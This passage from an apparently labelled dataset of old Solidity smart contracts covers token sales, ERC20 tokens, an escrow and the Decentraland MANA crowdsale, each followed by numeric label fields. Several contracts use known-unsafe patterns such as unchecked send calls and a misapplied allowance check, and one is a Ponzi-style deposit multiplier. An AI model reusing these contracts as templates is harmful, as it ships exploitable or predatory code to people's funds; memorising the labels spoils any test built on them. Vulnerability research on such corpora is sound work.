priceList.push(PriceTier(uint(1 ether / (40* factor)),0,5000 ether));
priceList.push(PriceTier(uint((1 ether - (10 wei * factor))/ (30* factor)),0,5000 ether));
priceList.push(PriceTier(uint((1 ether - (10 wei * factor))/ (15* factor)),0,30000 ether));
numTiers = 9;
}
function allocateTokensInternally(uint value) internal constant returns(uint numTokens){
if (numTiers == 0) return 0;
numTokens = 0;
uint8 tierIndex = 0;
for (uint8 i = 0; i < numTiers; i++){
if (priceList[i].ethersDepositedInTier < priceList[i].maxEthersInTier){
uint ethersToDepositInTier = min256(priceList[i].maxEthersInTier - priceList[i].ethersDepositedInTier, value);
numTokens = safeAdd(numTokens, ethersToDepositInTier / priceList[i].costPerToken);
priceList[i].ethersDepositedInTier = safeAdd(ethersToDepositInTier, priceList[i].ethersDepositedInTier);
totalDepositedEthers = safeAdd(ethersToDepositInTier, totalDepositedEthers);
value = safeSub(value, ethersToDepositInTier);
if (priceList[i].ethersDepositedInTier > 0)
tierIndex = i;
}
}
currentTierIndex = tierIndex;
return numTokens;
}
}
contract DAOController{
address public dao;
modifier onlyDAO{
if (msg.sender != dao) throw;
_;
}
}
contract CrowdSale is PricingMechanism, DAOController{
SphereTokenFactory public tokenFactory;
uint public hardCapAmount;
bool public isStarted = false;
bool public isFinalized = false;
uint public duration = 30 days;
uint public startTime;
address public multiSig;
bool public finalizeSet = false;
modifier onlyStarted{
if (!isStarted) throw;
_;
}
modifier notFinalized{
if (isFinalized) throw;
_;
}
modifier afterFinalizeSet{
if (!finalizeSet) throw;
_;
}
function CrowdSale(){
tokenFactory = SphereTokenFactory(0xf961eb0acf690bd8f92c5f9c486f3b30848d87aa);
decimals = 4;
setPricing();
hardCapAmount = 75000 ether;
}
function startCrowdsale() onlyOwner {
if (isStarted) throw;
isStarted = true;
startTime = now;
}
function setDAOAndMultiSig(address _dao, address _multiSig) onlyOwner{
dao = _dao;
multiSig = _multiSig;
finalizeSet = true;
}
function() payable stopInEmergency onlyStarted notFinalized{
if (totalDepositedEthers >= hardCapAmount) throw;
uint contribution = msg.value;
if (safeAdd(totalDepositedEthers, msg.value) > hardCapAmount){
contribution = safeSub(hardCapAmount, totalDepositedEthers);
}
uint excess = safeSub(msg.value, contribution);
uint numTokensToAllocate = allocateTokensInternally(contribution);
tokenFactory.mint(msg.sender, numTokensToAllocate);
if (excess > 0){
msg.sender.send(excess);
}
}
function finalize() payable onlyOwner afterFinalizeSet{
if (hardCapAmount == totalDepositedEthers || (now - startTime) > duration){
dao.call.gas(150000).value(totalDepositedEthers * 3 / 10)();
multiSig.call.gas(150000).value(this.balance)();
isFinalized = true;
}
}
function emergencyCease() payable onlyStarted onlyInEmergency onlyOwner afterFinalizeSet{
isFinalized = true;
isStarted = false;
multiSig.call.gas(150000).value(this.balance)();
}
} | 1 | 2,966 |
pragma solidity ^0.4.24;
contract Robocalls {
function transferFrom(address from, address to, uint tokens) public returns (bool success) {}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
}
contract RobocallsTokenSale is Owned {
uint public startDate;
uint public bonusEnds;
uint public endDate;
address public main_addr;
address public tokenOwner;
Robocalls r;
constructor() public {
bonusEnds = now + 8 weeks;
endDate = now + 12 weeks;
startDate = now;
main_addr = 0xAD7615B0524849918AEe77e6c2285Dd7e8468650;
r = Robocalls(main_addr);
}
function setEndDate(uint _newEndDate ) public {
require(msg.sender==owner);
endDate = _newEndDate;
}
function setBonusEndDate(uint _newBonusEndDate ) public {
require(msg.sender==owner);
bonusEnds = _newBonusEndDate;
}
function () public payable {
require(now >= startDate && now <= endDate);
uint tokens;
if (now <= bonusEnds) {
tokens = msg.value * 1500000;
} else {
tokens = msg.value * 10000000;
}
r.transferFrom(owner,msg.sender, tokens);
owner.transfer(msg.value);
}
} | 1 | 3,374 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract GDSS is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function GDSS() public {
symbol = "GDSS";
name = "Goddess Token";
decimals = 18;
_totalSupply = 100000*10**18;
balances[0x743Fd6d924Ae32ccdDb377F11D43129CDD0d0D00] = _totalSupply;
Transfer(address(0), 0x743Fd6d924Ae32ccdDb377F11D43129CDD0d0D00, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,814 |
pragma solidity ^0.4.25;
contract BestMultiplierNew {
address constant private Reclame = 0x0646682283188b2867f61CE0BD5259E7d68748d5;
uint constant public Reclame_PERCENT = 3;
address constant private Admin = 0xC7FCc602088b49c816b1A36848f62c35516F0F8B;
uint constant public Admin_PERCENT = 1;
address constant private BMG = 0xDe67C0Bc07a16f120dFB7E660359c1e10A548d53;
uint constant public BMG_PERCENT = 2;
uint constant public Refferal_PERCENT = 10;
uint constant public MULTIPLIER = 121;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
require(tx.gasprice <= 50000000000 wei, "Gas price is too high! Do not cheat!");
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 10 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo = msg.value*Reclame_PERCENT/100;
Reclame.send(promo);
uint admin = msg.value*Admin_PERCENT/100;
Admin.send(admin);
uint bmg = msg.value*BMG_PERCENT/100;
BMG.send(bmg);
pay();
}
}
function refferal (address REF) public payable {
require(tx.gasprice <= 50000000000 wei, "Gas price is too high! Do not cheat!");
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 10 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo = msg.value*Reclame_PERCENT/100;
Reclame.send(promo);
uint admin = msg.value*Admin_PERCENT/100;
Admin.send(admin);
uint bmg = msg.value*BMG_PERCENT/100;
BMG.send(bmg);
require(REF != 0x0000000000000000000000000000000000000000 && REF != msg.sender, "You need another refferal!");
uint ref = msg.value*Refferal_PERCENT/100;
REF.send(ref);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 1 | 4,216 |
pragma solidity ^0.5.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Owned {
address public owner;
address public newOwner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
owner = newOwner;
}
}
contract easyExchangeCoins is IERC20, Owned {
using SafeMath for uint256;
constructor() public {
owner = 0x3CC2Ef418b7c2e36110f4521e982576AF9f5c8fA;
contractAddress = address(this);
_balances[contractAddress] = 20000000 * 10 ** decimals;
_balances[owner] = 80000000 * 10 ** decimals;
emit Transfer(address(0), contractAddress, 20000000 * 10 ** decimals);
emit Transfer(address(0), owner, 80000000 * 10 ** decimals);
ICOActive = true;
}
function ICOBalance() public view returns (uint) {
return _balances[contractAddress];
}
bool public ICOActive;
uint256 public ICOPrice = 10000000;
function () external payable {
if (ICOActive == false) {
revert();
} else if (ICOBalance() == 0) {
ICOActive = false;
revert();
} else {
uint256 affordAmount = msg.value / ICOPrice;
if (affordAmount <= _balances[contractAddress]) {
_balances[contractAddress] = _balances[contractAddress].sub(affordAmount);
_balances[msg.sender] = _balances[msg.sender].add(affordAmount);
emit Transfer(contractAddress, msg.sender, affordAmount);
} else {
uint256 buyAmount = _balances[contractAddress];
uint256 cost = buyAmount * ICOPrice;
_balances[contractAddress] = _balances[contractAddress].sub(buyAmount);
_balances[msg.sender] = _balances[msg.sender].add(buyAmount);
emit Transfer(contractAddress, msg.sender, buyAmount);
msg.sender.transfer(msg.value - cost);
ICOActive = false;
}
}
}
function changeICOPrice(uint256 newPrice) public onlyOwner {
uint256 _newPrice = newPrice * 10 ** decimals;
ICOPrice = _newPrice;
}
function withdrawETH() public onlyOwner {
msg.sender.transfer(contractAddress.balance);
}
function endICO() public onlyOwner {
msg.sender.transfer(contractAddress.balance);
ICOActive = false;
uint256 _amount = _balances[contractAddress];
_balances[owner] = _balances[owner].add(_amount);
_balances[contractAddress] = 0;
emit Transfer(contractAddress, owner, _amount);
}
string public constant name = "Easy Exchange Coins";
string public constant symbol = "EEC";
uint256 public constant decimals = 8;
uint256 public constant supply = 100000000 * 10 ** decimals;
address private contractAddress;
mapping(address => uint256) _balances;
mapping(address => mapping (address => uint256)) public _allowed;
function totalSupply() public view returns (uint) {
return supply;
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return _balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return _allowed[tokenOwner][spender];
}
function transfer(address to, uint value) public returns (bool success) {
require(_balances[msg.sender] >= value);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint value) public returns (bool success) {
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint value) public returns (bool success) {
require(value <= balanceOf(from));
require(value <= allowance(from, to));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][to] = _allowed[from][to].sub(value);
emit Transfer(from, to, value);
return true;
}
} | 1 | 2,448 |
pragma solidity ^0.4.18;
interface IEscrow {
event Created(
address indexed sender,
address indexed recipient,
address indexed arbitrator,
uint256 transactionId
);
event Released(address indexed arbitrator, address indexed sentTo, uint256 transactionId);
event Dispute(address indexed arbitrator, uint256 transactionId);
event Paid(address indexed arbitrator, uint256 transactionId);
function create(
address _sender,
address _recipient,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee,
uint256 _expiration
) public;
function fund(
address _sender,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee
) public;
}
interface ISendToken {
function transfer(address to, uint256 value) public returns (bool);
function isVerified(address _address) public constant returns(bool);
function verify(address _address) public;
function unverify(address _address) public;
function verifiedTransferFrom(
address from,
address to,
uint256 value,
uint256 referenceId,
uint256 exchangeRate,
uint256 fee
) public;
function issueExchangeRate(
address _from,
address _to,
address _verifiedAddress,
uint256 _value,
uint256 _referenceId,
uint256 _exchangeRate
) public;
event VerifiedTransfer(
address indexed from,
address indexed to,
address indexed verifiedAddress,
uint256 value,
uint256 referenceId,
uint256 exchangeRate
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Escrow is IEscrow, Ownable {
using SafeMath for uint256;
ISendToken public token;
struct Lock {
address sender;
address recipient;
uint256 value;
uint256 fee;
uint256 expiration;
bool paid;
}
mapping(address => mapping(uint256 => Lock)) internal escrows;
function Escrow(address _token) public {
token = ISendToken(_token);
}
modifier tokenRestricted() {
require(msg.sender == address(token));
_;
}
function getStatus(address _arbitrator, uint256 _transactionId)
public view returns(address, address, uint256, uint256, uint256, bool) {
return(
escrows[_arbitrator][_transactionId].sender,
escrows[_arbitrator][_transactionId].recipient,
escrows[_arbitrator][_transactionId].value,
escrows[_arbitrator][_transactionId].fee,
escrows[_arbitrator][_transactionId].expiration,
escrows[_arbitrator][_transactionId].paid
);
}
function isUnlocked(address _arbitrator, uint256 _transactionId) public view returns(bool) {
return escrows[_arbitrator][_transactionId].expiration == 1;
}
function create(
address _sender,
address _recipient,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee,
uint256 _expiration
) public tokenRestricted {
require(_tokens > 0);
require(_fee >= 0);
require(escrows[_arbitrator][_transactionId].value == 0);
escrows[_arbitrator][_transactionId].sender = _sender;
escrows[_arbitrator][_transactionId].recipient = _recipient;
escrows[_arbitrator][_transactionId].value = _tokens;
escrows[_arbitrator][_transactionId].fee = _fee;
escrows[_arbitrator][_transactionId].expiration = _expiration;
Created(_sender, _recipient, _arbitrator, _transactionId);
}
function fund(
address _sender,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee
) public tokenRestricted {
require(escrows[_arbitrator][_transactionId].sender == _sender);
require(escrows[_arbitrator][_transactionId].value == _tokens);
require(escrows[_arbitrator][_transactionId].fee == _fee);
require(escrows[_arbitrator][_transactionId].paid == false);
escrows[_arbitrator][_transactionId].paid = true;
Paid(_arbitrator, _transactionId);
}
function release(
address _sender,
address _recipient,
uint256 _transactionId,
uint256 _exchangeRate
) public {
Lock memory lock = escrows[msg.sender][_transactionId];
require(lock.expiration != 1);
require(lock.sender == _sender);
require(lock.recipient == _recipient || lock.sender == _recipient);
require(lock.paid);
if (lock.fee > 0 && lock.recipient == _recipient) {
token.transfer(_recipient, lock.value);
token.transfer(msg.sender, lock.fee);
} else {
token.transfer(_recipient, lock.value.add(lock.fee));
}
delete escrows[msg.sender][_transactionId];
token.issueExchangeRate(
_sender,
_recipient,
msg.sender,
lock.value,
_transactionId,
_exchangeRate
);
Released(msg.sender, _recipient, _transactionId);
}
function releaseUnlocked(
address _sender,
address _recipient,
uint256 _transactionId,
uint256 _exchangeRate
) public {
Lock memory lock = escrows[msg.sender][_transactionId];
require(lock.expiration == 1);
require(lock.sender == _sender);
require(lock.paid);
if (lock.fee > 0 && lock.sender != _recipient) {
token.transfer(_recipient, lock.value);
token.transfer(msg.sender, lock.fee);
} else {
token.transfer(_recipient, lock.value.add(lock.fee));
}
delete escrows[msg.sender][_transactionId];
token.issueExchangeRate(
_sender,
_recipient,
msg.sender,
lock.value,
_transactionId,
_exchangeRate
);
Released(msg.sender, _recipient, _transactionId);
}
function claim(
address _arbitrator,
uint256 _transactionId
) public {
Lock memory lock = escrows[_arbitrator][_transactionId];
require(lock.sender == msg.sender);
require(lock.paid);
require(lock.expiration < block.timestamp);
require(lock.expiration != 0);
require(lock.expiration != 1);
delete escrows[_arbitrator][_transactionId];
token.transfer(msg.sender, lock.value.add(lock.fee));
Released(
_arbitrator,
msg.sender,
_transactionId
);
}
function mediate(
uint256 _transactionId
) public {
require(escrows[msg.sender][_transactionId].paid);
require(escrows[msg.sender][_transactionId].expiration != 0);
require(escrows[msg.sender][_transactionId].expiration != 1);
escrows[msg.sender][_transactionId].expiration = 0;
Dispute(msg.sender, _transactionId);
}
function transferToken(address _tokenAddress, address _transferTo, uint256 _value) public onlyOwner {
require(_tokenAddress != address(token));
ISendToken erc20Token = ISendToken(_tokenAddress);
erc20Token.transfer(_transferTo, _value);
}
} | 0 | 1,848 |
pragma solidity ^0.4.11;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startBlock;
uint256 public endBlock;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startBlock, uint256 _endBlock, uint256 _rate, address _wallet) {
require(_startBlock >= block.number);
require(_endBlock >= _startBlock);
require(_rate > 0);
require(_wallet != 0x0);
token = createTokenContract();
startBlock = _startBlock;
endBlock = _endBlock;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
uint256 current = block.number;
bool withinPeriod = current >= startBlock && current <= endBlock;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public constant returns (bool) {
return block.number > endBlock;
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
mapping (address => bool) public whitelist;
function addToWhitelist(address buyer) public onlyOwner {
require(buyer != 0x0);
whitelist[buyer] = true;
}
function isWhitelisted(address buyer) public constant returns (bool) {
return whitelist[buyer];
}
function validPurchase() internal constant returns (bool) {
return super.validPurchase() || (!hasEnded() && isWhitelisted(msg.sender));
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ContinuousSale {
using SafeMath for uint256;
uint256 public constant BUCKET_SIZE = 12 hours;
MintableToken public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
uint256 public issuance;
uint256 public lastBucket = 0;
uint256 public bucketAmount = 0;
event TokenPurchase(address indexed investor, address indexed beneficiary, uint256 weiAmount, uint256 tokens);
function ContinuousSale(
uint256 _rate,
address _wallet,
MintableToken _token
) {
require(_rate != 0);
require(_wallet != 0);
rate = _rate;
wallet = _wallet;
token = _token;
}
function() payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(msg.value != 0);
prepareContinuousPurchase();
uint256 tokens = processPurchase(beneficiary);
checkContinuousPurchase(tokens);
}
function prepareContinuousPurchase() internal {
uint256 timestamp = block.timestamp;
uint256 bucket = timestamp - (timestamp % BUCKET_SIZE);
if (bucket > lastBucket) {
lastBucket = bucket;
bucketAmount = 0;
}
}
function checkContinuousPurchase(uint256 tokens) internal {
uint256 updatedBucketAmount = bucketAmount.add(tokens);
require(updatedBucketAmount <= issuance);
bucketAmount = updatedBucketAmount;
}
function processPurchase(address beneficiary) internal returns(uint256) {
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
return tokens;
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint _value) whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract MANAContinuousSale is ContinuousSale, Ownable {
uint256 public constant INFLATION = 8;
bool public started = false;
event RateChange(uint256 amount);
event WalletChange(address wallet);
function MANAContinuousSale(
uint256 _rate,
address _wallet,
MintableToken _token
) ContinuousSale(_rate, _wallet, _token) {
}
modifier whenStarted() {
require(started);
_;
}
function start() onlyOwner {
require(!started);
uint256 finalSupply = token.totalSupply();
uint256 annualIssuance = finalSupply.mul(INFLATION).div(100);
issuance = annualIssuance.mul(BUCKET_SIZE).div(1 years);
started = true;
}
function buyTokens(address beneficiary) whenStarted public payable {
super.buyTokens(beneficiary);
}
function setWallet(address _wallet) onlyOwner {
require(_wallet != 0x0);
wallet = _wallet;
WalletChange(_wallet);
}
function setRate(uint256 _rate) onlyOwner {
rate = _rate;
RateChange(_rate);
}
function unpauseToken() onlyOwner {
MANAToken(token).unpause();
}
function pauseToken() onlyOwner {
MANAToken(token).pause();
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
token.finishMinting();
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract MANAToken is BurnableToken, PausableToken, MintableToken {
string public constant symbol = "MANA";
string public constant name = "Decentraland MANA";
uint8 public constant decimals = 18;
function burn(uint256 _value) whenNotPaused public {
super.burn(_value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal constant returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract MANACrowdsale is WhitelistedCrowdsale, CappedCrowdsale, FinalizableCrowdsale {
uint256 public constant TOTAL_SHARE = 100;
uint256 public constant CROWDSALE_SHARE = 40;
uint256 public constant FOUNDATION_SHARE = 60;
uint256 public preferentialRate;
mapping (address => uint256) public buyerRate;
uint256 public initialRate;
uint256 public endRate;
MANAContinuousSale public continuousSale;
event WalletChange(address wallet);
event PreferentialRateChange(address indexed buyer, uint256 rate);
event InitialRateChange(uint256 rate);
event EndRateChange(uint256 rate);
function MANACrowdsale(
uint256 _startBlock,
uint256 _endBlock,
uint256 _initialRate,
uint256 _endRate,
uint256 _preferentialRate,
address _wallet
)
CappedCrowdsale(86206 ether)
WhitelistedCrowdsale()
FinalizableCrowdsale()
Crowdsale(_startBlock, _endBlock, _initialRate, _wallet)
{
require(_initialRate > 0);
require(_endRate > 0);
require(_preferentialRate > 0);
initialRate = _initialRate;
endRate = _endRate;
preferentialRate = _preferentialRate;
continuousSale = createContinuousSaleContract();
MANAToken(token).pause();
}
function createTokenContract() internal returns(MintableToken) {
return new MANAToken();
}
function createContinuousSaleContract() internal returns(MANAContinuousSale) {
return new MANAContinuousSale(rate, wallet, token);
}
function setBuyerRate(address buyer, uint256 rate) onlyOwner public {
require(rate != 0);
require(isWhitelisted(buyer));
require(block.number < startBlock);
buyerRate[buyer] = rate;
PreferentialRateChange(buyer, rate);
}
function setInitialRate(uint256 rate) onlyOwner public {
require(rate != 0);
require(block.number < startBlock);
initialRate = rate;
InitialRateChange(rate);
}
